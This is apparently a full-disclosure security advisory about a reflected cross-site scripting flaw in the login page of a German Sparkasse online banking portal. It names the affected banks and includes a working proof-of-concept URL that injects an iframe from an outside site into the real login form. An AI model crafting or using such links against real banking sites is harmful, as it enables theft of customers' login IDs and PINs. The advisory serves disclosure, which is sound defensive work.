XSS vulnerability on various german online banking sites (sparkasse)

[Ulrich Keil <full-disclosure () der-keiler de>]

The "Sparkassen-Finanzgruppe" with a transaction volume of over 3.300 
billion euro is one of the largest banks for private customers in 
germany. Many local member-banks of the group use the online banking 
portal provided by sfze (http://www.sfze.de/), a subsidiary company of 
Sparkassen-Finanzgruppe.

Vulnerability:
The online banking software of sfze does not check the HTTP GET 
Parameter "KONTO" on the login page, and displays the content of this 
variable without modification within the html form area.

Impact:
An attacker may gather login data (ID+PIN) from customers of the 
Sparkassen-Finanzgruppe by tricking them to click on a special crafted 
link, which points to the original login page of the online banking system.

Demonstration:
The following trivial example demonstrates the impact of this 
vulnerability by extending the login form with an iframe:
https://bankingportal.sparkasse-donnersberg.de/banking/?BLZ=54051990&Bankingaufruf.x=0&Bankingaufruf.y=0&KONTO=%22%20/%3E%3Ciframe%20src=%22http://www.derkeiler.com/uk/sp.html%22%20scrolling=%22no%22%20marginheight=%220%22%20marginwidth=%220%22%20frameborder=%220%22width=%22310px%22

Some subsidiary companies of Sparkassen-Finanzgruppe which are affected 
by this vulerability:
-Sparkasse Donnersberg
-Sparkasse Ludwigshafen
-Sparkasse KölnBonn
-Sparkasse Aachen
-Frankfurter Sparkasse
-Sparkasse Rhein Neckar Nord

Ulrich Keil
-- 
http://www.derkeiler.com
PGP Fingerprint: 5FA4 4C01 8D92 A906 E831  CAF1 3F51 8F47 1233 9AAD
Public key available at http://www.derkeiler.com/uk/pgp-key.asc

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